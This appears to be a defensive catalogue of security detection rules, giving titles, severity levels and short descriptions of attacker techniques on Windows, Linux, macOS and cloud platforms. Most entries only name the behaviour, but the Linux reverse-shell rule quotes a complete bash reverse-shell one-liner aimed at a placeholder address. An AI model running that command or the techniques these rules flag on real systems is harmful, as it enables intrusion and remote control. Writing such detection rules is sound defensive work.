Remote Registry Management Using Reg Utility	medium	Remote registry management using REG utility from non-admin workstation
Terminate Linux Process Via Kill	medium	Detects usage of command line tools such as "kill", "pkill" or "killall" to terminate or signal a running process.
Firewall Rule Modified In The Windows Firewall Exception List	low	Detects when a rule has been modified in the Windows firewall exception list
CreateRemoteThread API and LoadLibrary	medium	Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process
Access To Windows Outlook Mail Files By Uncommon Applications	low	Detects file access requests to Windows Outlook Mail by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage
Access To .Reg/.Hive Files By Uncommon Applications	low	Detects file access requests to files ending with either the ".hive"/".reg" extension, usually associated with Windows Registry backups.
ADS Zone.Identifier Deleted	low	Detects the deletion of the "Zone.Identifier" ADS. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.
DMP/HDMP File Creation	low	Detects the creation of a file with the ".dmp"/".hdmp" extension. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.
Non-DLL Extension File Renamed With DLL Extension	medium	Detects rename operations of files with non-DLL extensions to files with a DLL extension. This is often performed by malware in order to avoid initial detections based on extensions.
Amsi.DLL Load By Uncommon Process	low	Detects loading of Amsi.dll by uncommon processes
Dllhost.EXE Initiated Network Connection To Non-Local IP Address	medium	Detects Dllhost.EXE initiating a network connection to a non-local IP address. Aside from Microsoft own IP range that needs to be excluded. Network communication from Dllhost will depend entirely on the hosted DLL. An initial baseline is recommended before deployment.
HH.EXE Initiated HTTP Network Connection	medium	Detects a network connection initiated by the "hh.exe" process to HTTP destination ports, which could indicate the execution/download of remotely hosted .chm files.
Msiexec.EXE Initiated Network Connection Over HTTP	low	Detects a network connection initiated by an "Msiexec.exe" process over port 80 or 443. Adversaries might abuse "msiexec.exe" to install and execute remotely hosted packages. Use this rule to hunt for potentially anomalous or suspicious communications.
Windows Mail App Mailbox Access Via PowerShell Script	medium	Detects PowerShell scripts that try to access the default Windows MailApp MailBox. This indicates manipulation of or access to the stored emails of a user. E.g. this could be used by an attacker to exfiltrate or delete the content of the emails.
New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet - ScriptBlock	low	Detects when a powershell script contains calls to the "New-NetFirewallRule" cmdlet in order to add a new firewall rule with an "Allow" action.
Use Of Remove-Item to Delete File - ScriptBlock	low	PowerShell Remove-Item with -Path to delete a file or a folder with "-Recurse"
Potential Shellcode Injection	medium	Detects potential shellcode injection as seen used by tools such as Metasploit's migrate and Empire's psinject.
Set Files as System Files Using Attrib.EXE	low	Detects the execution of "attrib" with the "+s" flag to mark files as system files
Potential BOINC Software Execution (UC-Berkeley Signature)	informational	Detects the use of software that is related to the University of California, Berkeley via metadata information. This indicates it may be related to BOINC software and can be used maliciously if unauthorized.
Potential File Override/Append Via SET Command	low	Detects the use of the "SET" internal command of Cmd.EXE with the /p flag followed directly by an "=" sign. Attackers used this technique along with an append redirection operator ">>" in order to update the content of a file indirectly. Ex: cmd /c >> example.txt set /p="test data". This will append "test data" to contents of "example.txt". The typical use case of the "set /p=" command is to prompt the user for input.
Headless Process Launched Via Conhost.EXE	medium	Detects the launch of a child process via "conhost.exe" with the "--headless" flag. The "--headless" flag hides the windows from the user upon execution.
Dynamic .NET Compilation Via Csc.EXE - Hunting	medium	Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.
Diskshadow Child Process Spawned	medium	Detects any child process spawning from "Diskshadow.exe". This could be due to executing Diskshadow in interpreter mode or script mode and using the "exec" flag to launch other applications.
ClickOnce Deployment Execution - Dfsvc.EXE Child Process	medium	Detects child processes of "dfsvc" which indicates a ClickOnce deployment execution.
Diskshadow Script Mode Execution	medium	Detects execution of "Diskshadow.exe" in script mode using the "/s" flag. Attackers often abuse "diskshadow" to execute scripts that deleted the shadow copies on the systems. Investigate the content of the scripts and its location.
Potential Proxy Execution Via Explorer.EXE From Shell Process	low	Detects the creation of a child "explorer.exe" process from a shell like process such as "cmd.exe" or "powershell.exe". Attackers can use "explorer.exe" for evading defense mechanisms by proxying the execution through the latter. While this is often a legitimate action, this rule can be use to hunt for anomalies. Muddy Waters threat actor was seeing using this technique.
Potential DLL Sideloading Activity Via ExtExport.EXE	medium	Detects the execution of "Extexport.exe".A utility that is part of the Internet Explorer browser and is used to export and import various settings and data, particularly when switching between Internet Explorer and other web browsers like Firefox. It allows users to transfer bookmarks, browsing history, and other preferences from Internet Explorer to Firefox or vice versa. It can be abused as a tool to side load any DLL. If a folder is provided in the command line it'll load any DLL with one of the following names "mozcrt19.dll", "mozsqlite3.dll", or "sqlite.dll". Arbitrary DLLs can also be loaded if a specific number of flags was provided.
New Self Extracting Package Created Via IExpress.EXE	medium	Detects the "iexpress.exe" utility creating self-extracting packages. Attackers where seen leveraging "iexpress" to compile packages on the fly via ".sed" files. Investigate the command line options provided to "iexpress" and in case of a ".sed" file, check the contents and legitimacy of it.
Microsoft Workflow Compiler Execution	medium	Detects the execution of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.
CodePage Modification Via MODE.COM	low	Detects a CodePage modification using the "mode.com" utility. This behavior has been used by threat actors behind Dharma ransomware.
Suspicious New Instance Of An Office COM Object	medium	Detects an svchost process spawning an instance of an office application. This happens when the initial word application creates an instance of one of the Office COM objects such as 'Word.Application', 'Excel.Application', etc. This can be used by malicious actors to create malicious Office documents with macros on the fly. (See vba2clr project in the references)
Invocation Of Crypto-Classes From The "Cryptography" PowerShell Namespace	medium	Detects the invocation of PowerShell commands with references to classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion.
Regsvr32.EXE Calling of DllRegisterServer Export Function Implicitly	medium	Detects execution of regsvr32 with the silent flag and no other flags on a DLL located in an uncommon or potentially suspicious location. When Regsvr32 is called in such a way, it implicitly calls the DLL export function 'DllRegisterServer'.
DLL Call by Ordinal Via Rundll32.EXE	medium	Detects calls of DLLs exports by ordinal numbers via rundll32.dll.
Rundll32.EXE Calling DllRegisterServer Export Function Explicitly	medium	Detects when the DLL export function 'DllRegisterServer' is called in the commandline by Rundll32 explicitly where the DLL is located in a non-standard path.
Potential CommandLine Obfuscation Using Unicode Characters	medium	Detects potential CommandLine obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.
Elevated System Shell Spawned	medium	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.
Potential Suspicious Execution From GUID Like Folder Names	low	Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks. Use this rule to hunt for potentially suspicious activity stemming from uncommon folders.
File or Folder Permissions Modifications	medium	Detects a file or folder's permissions being modified or tampered with.
Arbitrary Command Execution Using WSL	medium	Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a Living of the Land binary in order to execute arbitrary Linux or Windows commands.
Microsoft Office Trusted Location Updated	medium	Detects changes to the registry keys related to "Trusted Location" of Microsoft Office. Attackers might add additional trusted locations to avoid macro security restrictions.
Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace	medium	Detects the setting of a registry inside the "\Shell\Open\Command" value with PowerShell classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion.
Service Binary in User Controlled Folder	medium	Detects the setting of the "ImagePath" value of a service registry key to a path controlled by a non-administrator user such as "\AppData\" or "\ProgramData\". Attackers often use such directories for staging purposes. This rule might also trigger on badly written software, where if an attacker controls an auto starting service, they might achieve persistence or privilege escalation. Note that while ProgramData is a user controlled folder, software might apply strict ACLs which makes them only accessible to admin users. Remove such folders via filters if you experience a lot of noise.
AWS Macie Evasion	medium	Detects evade to Macie detection.
Use of Debugfs to Access a Raw Disk	medium	Detects access to a raw disk on a host to evade detection by security products.
Invoke-Obfuscation CLIP+ Launcher	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework (See reference section for code block)
Invoke-Obfuscation STDIN+ Launcher	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
File Creation by Office Applications	high	This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.
Execution via CL_Invocation.ps1 (2 Lines)	high	Detects Execution via SyncInvoke in CL_Invocation.ps1 module
Execution via CL_Mutexverifiers.ps1 (2 Lines)	high	Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module
Files Dropped to Program Files by Non-Priviledged Process	medium	Search for dropping of files to Windows/Program Files fodlers by non-priviledged processes

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Title	Level	Description
OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd	high	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.
iOS Implant URL Pattern	critical	Detects URL pattern used by iOS Implant
Credential Dumping Tools Service Execution	critical	Detects well-known credential dumping tools execution via service execution events
PowerShell Scripts Run by a Services	high	Detects powershell script installed as a Service
Alternate PowerShell Hosts - Image	low	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe
Suspicious CLR Logs Creation	high	Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.
Windows Management Instrumentation DLL Loaded Via Microsoft Word	informational	Detects DLL's Loaded Via Word Containing VBA Macros Executing WMI Commands
PsExec Pipes Artifacts	medium	Detecting use PsExec via Pipe Creation/Access to pipes
Dnscat Execution	critical	Dnscat exfiltration tool execution
Suspicious PowerShell Download	medium	Detects suspicious PowerShell download command
Suspicious PowerShell Invocations - Generic	high	Detects suspicious PowerShell invocation command parameters
Suspicious PowerShell Invocations - Specific	high	Detects suspicious PowerShell invocation command parameters
APT29	high	This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.
Lazarus Activity Apr21	high	Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity
Lazarus Loaders	critical	Detects different loaders as described in various threat reports on Lazarus group activity
TA505 Dropper Load Pattern	critical	Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents
Read and Execute a File Via Cmd.exe	medium	Detect use of "/R <" to read and execute a file via cmd.exe
Visual Basic Script Execution	medium	Adversaries may abuse Visual Basic (VB) for execution
Execution via MSSQL Xp_cmdshell Stored Procedure	high	Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.
Invoke-Obfuscation RUNDLL LAUNCHER	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Use Rundll32	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
New Lolbin Process by Office Applications	high	This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.
Monitoring Wuauclt.exe For Lolbas Execution Of DLL	medium	Adversaries can abuse wuauclt.exe (Windows Update client) to run code execution by specifying an arbitrary DLL.
Ryuk Ransomware Command Line Activity	critical	Detects Ryuk Ransomware command lines
Excel Proxy Executing Regsvr32 With Payload	high	Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes.
Excel Proxy Executing Regsvr32 With Payload Alternate	high	Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes.
Office Applications Spawning Wmi Cli Alternate	high	Initial execution of malicious document calls wmic to execute the file with regsvr32
PowerShell AMSI Bypass Pattern	high	Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.
Base64 Encoded Listing of Shadowcopy	high	Detects base64 encoded listing Win32_Shadowcopy
Malicious Base64 Encoded Powershell Invoke Cmdlets	high	Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets
Potential Xor Encoded PowerShell Command	medium	Detects usage of "xor" or "bxor" in combination of a "foreach" loop. This pattern is often found in encoded powershell code and commands as a way to avoid detection
Renamed PaExec Execution	medium	Detects execution of renamed paexec via imphash and executable product string
Suspicious Add Scheduled Task From User AppData Temp	high	schtasks.exe create task from user AppData\Local\Temp
Suspicious Execution of Sc to Delete AV Services	high	Detects when attackers use "sc.exe" to delete AV services from the system in order to avoid detection
Suspicious Cmd Execution via WMI	medium	Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.
Wscript Execution from Non C Drive	medium	Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.
Process Start From Suspicious Folder	low	Detects process start from rare or uncommon folders like temporary folder or folders that usually don't contain executable files
Squirrel Lolbin	medium	Detects Possible Squirrel Packages Manager as Lolbin
PsExec Tool Execution	low	Detects PsExec service execution via default service image name
PsExec Service Start	low	Detects a PsExec service start
WMI Execution Via Office Process	medium	Initial execution of malicious document calls wmic to execute the file with regsvr32
WMI Remote Command Execution	medium	An adversary might use WMI to execute commands on a remote system
WMI Reconnaissance List Remote Services	medium	An adversary might use WMI to check if a certain Remote Service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable
Adwind RAT / JRAT - Registry	high	Detects javaw.exe in AppData folder as used by Adwind / JRAT
PowerShell Execution	medium	Detects execution of PowerShell
Lateral Movement Indicator ConDrv	low	This event was observed on the target host during lateral movement. The process name within the event contains the process spawned post compromise. Account Name within the event contains the compromised user account name. This event should to be correlated with 4624 and 4688 for further intrusion context.
Suspicious Esentutl Use	high	Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance.
Kubernetes CronJob/Job Modification	medium	Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.
Antivirus Exploitation Framework Detection	critical	Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
Antivirus Hacktool Detection	high	Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
AWS EC2 Startup Shell Script Change	high	Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.
AWS IAM S3Browser Templated S3 Bucket Policy Creation	high	Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "".
AWS IAM S3Browser LoginProfile Creation	high	Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.
AWS IAM S3Browser User or AccessKey Creation	high	Detects S3 Browser utility creating IAM User or AccessKey.
Azure Kubernetes CronJob	medium	Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Azure New CloudShell Created	medium	Identifies when a new cloudshell is created inside of Azure portal.
Google Cloud Kubernetes CronJob	medium	Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
BPFDoor Abnormal Process ID or Lock File Accessed	high	detects BPFDoor .lock and .pid files access in temporary file storage facility
Suspicious Commands Linux	medium	Detects relevant commands often related to malware or hacking activity
Equation Group Indicators	high	Detects suspicious shell commands used in various Equation Group scripts and tools
Suspicious Activity in Shell Commands	high	Detects suspicious shell commands used in various exploit codes (see references)
Suspicious Reverse Shell Command Line	high	Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell
Space After Filename	low	Detects space after filename
JexBoss Command Sequence	high	Detects suspicious command sequence that JexBoss
Symlink Etc Passwd	high	Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd
Linux Reverse Shell Indicator	critical	Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Suspicious Invocation of Shell via AWK - Linux	high	Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.
Bash Interactive Shell	low	Detects execution of the bash shell with the interactive flag "-i".
BPFtrace Unsafe Option Usage	medium	Detects the usage of the unsafe bpftrace option
Enable BPF Kprobes Tracing	medium	Detects common command used to enable bpf kprobes tracing
Capsh Shell Invocation - Linux	high	Detects the use of the "capsh" utility to invoke a shell.
Atlassian Confluence CVE-2022-26134	high	Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134
Shell Invocation via Env Command - Linux	high	Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.
ESXi Admin Permission Assigned To Account Via ESXCLI	high	Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.
ESXi VM Kill Via ESXCLI	medium	Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.
Shell Execution via Git - Linux	high	Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
Named Pipe Created Via Mkfifo	low	Detects the creation of a new named pipe using the "mkfifo" utility
Potentially Suspicious Named Pipe Created Via Mkfifo	medium	Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location
Potential Netcat Reverse Shell Execution	high	Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.
Nohup Execution	medium	Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments
Suspicious Nohup Execution	high	Detects execution of binaries located in potentially suspicious locations via "nohup"
OMIGOD SCX RunAsProvider ExecuteScript	high	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
OMIGOD SCX RunAsProvider ExecuteShellCommand	high	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
Potential Perl Reverse Shell Execution	high	Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity
Potential PHP Reverse Shell	high	Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.
Python Spawning Pretty TTY Via PTY Module	medium	Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.
Python Reverse Shell Execution Via PTY And Socket Modules	high	Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.
Inline Python Execution - Spawn Shell Via OS System Library	high	Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.
Shell Execution via Rsync - Linux	high	Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
Suspicious Invocation of Shell via Rsync	high	Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.
Potential Ruby Reverse Shell	medium	Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell
Scheduled Cron Task/Job - Linux	medium	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
Shell Invocation Via Ssh - Linux	high	Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
Linux HackTool Execution	high	Detects known hacktool execution based on image name.
Interactive Bash Suspicious Children	medium	Detects suspicious interactive bash as a parent to rather uncommon child processes
Suspicious Java Children Processes	high	Detects java process spawning suspicious children
Execution Of Script Located In Potentially Suspicious Directory	medium	Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.
Shell Execution Of Process Located In Tmp Directory	high	Detects execution of shells from a parent process located in a temporary (/tmp) directory
Potential Xterm Reverse Shell	medium	Detects usage of "xterm" as a potential reverse shell tunnel
MacOS Scripting Interpreter AppleScript	medium	Detects execution of AppleScript of the macOS scripting language AppleScript.
Clipboard Data Collection Via OSAScript	high	Detects possible collection of data from the clipboard via execution of the osascript binary
Suspicious Installer Package Child Process	medium	Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters
JAMF MDM Potential Suspicious Child Process	medium	Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.
JAMF MDM Execution	low	Detects execution of the "jamf" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.
JXA In-memory Execution Via OSAScript	high	Detects possible malicious execution of JXA in-memory via OSAScript
Launch Agent/Daemon Execution Via Launchctl	medium	Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.
Suspicious Microsoft Office Child Process - MacOS	high	Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution
OSACompile Run-Only Execution	high	Detects potential suspicious run-only executions compiled using OSACompile
Payload Decoded and Decrypted via Built-in Utilities	medium	Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.
Scheduled Cron Task/Job - MacOs	medium	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
Osacompile Execution By Potentially Suspicious Applet/Osascript	medium	Detects potential suspicious applet or osascript executing "osacompile".
Suspicious Browser Child Process - MacOS	medium	Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.
Suspicious Execution via macOS Script Editor	medium	Detects when the macOS Script Editor utility spawns an unusual child process.
Potential In-Memory Download And Compile Of Payloads	medium	Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware
MITRE BZAR Indicators for Execution	medium	Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE
Possible PrintNightmare Print Driver Install	medium	Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.
DNS Events Related To Mining Pools	low	Identifies clients that may be performing DNS lookups associated with common currency mining pools.
OMIGOD HTTP No Authentication RCE	high	Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
Download From Suspicious TLD - Blacklist	low	Detects download of certain file types from hosts in suspicious TLDs
Download From Suspicious TLD - Whitelist	low	Detects executable downloads from suspicious remote systems
Flash Player Update from Suspicious Location	high	Detects a flashplayer update from an unofficial location
F5 BIG-IP iControl Rest API Command Execution - Webserver	medium	Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP
Dump Ntds.dit To Suspicious Location	medium	Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location
Audit CVE Event	critical	Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.
MSI Installation From Suspicious Locations	medium	Detects MSI package installation from suspicious locations
MSSQL XPCmdshell Suspicious Execution	high	Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands
MSSQL XPCmdshell Option Change	high	Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.
Remote Access Tool - ScreenConnect Command Execution	low	Detects command execution via ScreenConnect RMM
Remote Access Tool - ScreenConnect File Transfer	low	Detects file being transferred via ScreenConnect RMM
File Was Not Allowed To Run	medium	Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.
Sysinternals Tools AppX Versions Execution	low	Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths
Suspicious Digital Signature Of AppX Package	medium	Detects execution of AppX packages with known suspicious or malicious signature
CodeIntegrity - Unmet Signing Level Requirements By File Under Validation	low	Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired. This event is best correlated with EID 3089 to determine the error of the validation.
Loading Diagcab Package From Remote Path	high	Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability
Hacktool Ruler	high	This events that are generated when using the hacktool Ruler by Sensepost
CobaltStrike Service Installations - Security	high	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
Invoke-Obfuscation CLIP+ Launcher - Security	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation STDIN+ Launcher - Security	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - Security	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - Security	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER - Security	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin - Security	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip - Security	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA - Security	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32 - Security	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
Credential Dumping Tools Service Execution - Security	high	Detects well-known credential dumping tools execution via service execution events
Metasploit Or Impacket Service Installation Via SMB PsExec	high	Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation
PowerShell Scripts Installed as Services - Security	high	Detects powershell script installed as a Service
Remote PowerShell Sessions Network Connections (WinRM)	high	Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986
Suspicious Scheduled Task Creation	high	Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.
Important Scheduled Task Deleted/Disabled	high	Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities
Suspicious Scheduled Task Update	high	Detects update to a scheduled task event that contain suspicious keywords.
T1047 Wmiprvse Wbemcomn DLL Hijack	high	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network for a WMI DLL Hijack scenario.
Successful Account Login Via WMI	low	Detects successful logon attempts performed with WMI
Suspicious Application Installed	medium	Detects suspicious application installed by looking at the added shortcut to the app resolver cache
Local Privilege Escalation Indicator TabTip	high	Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode
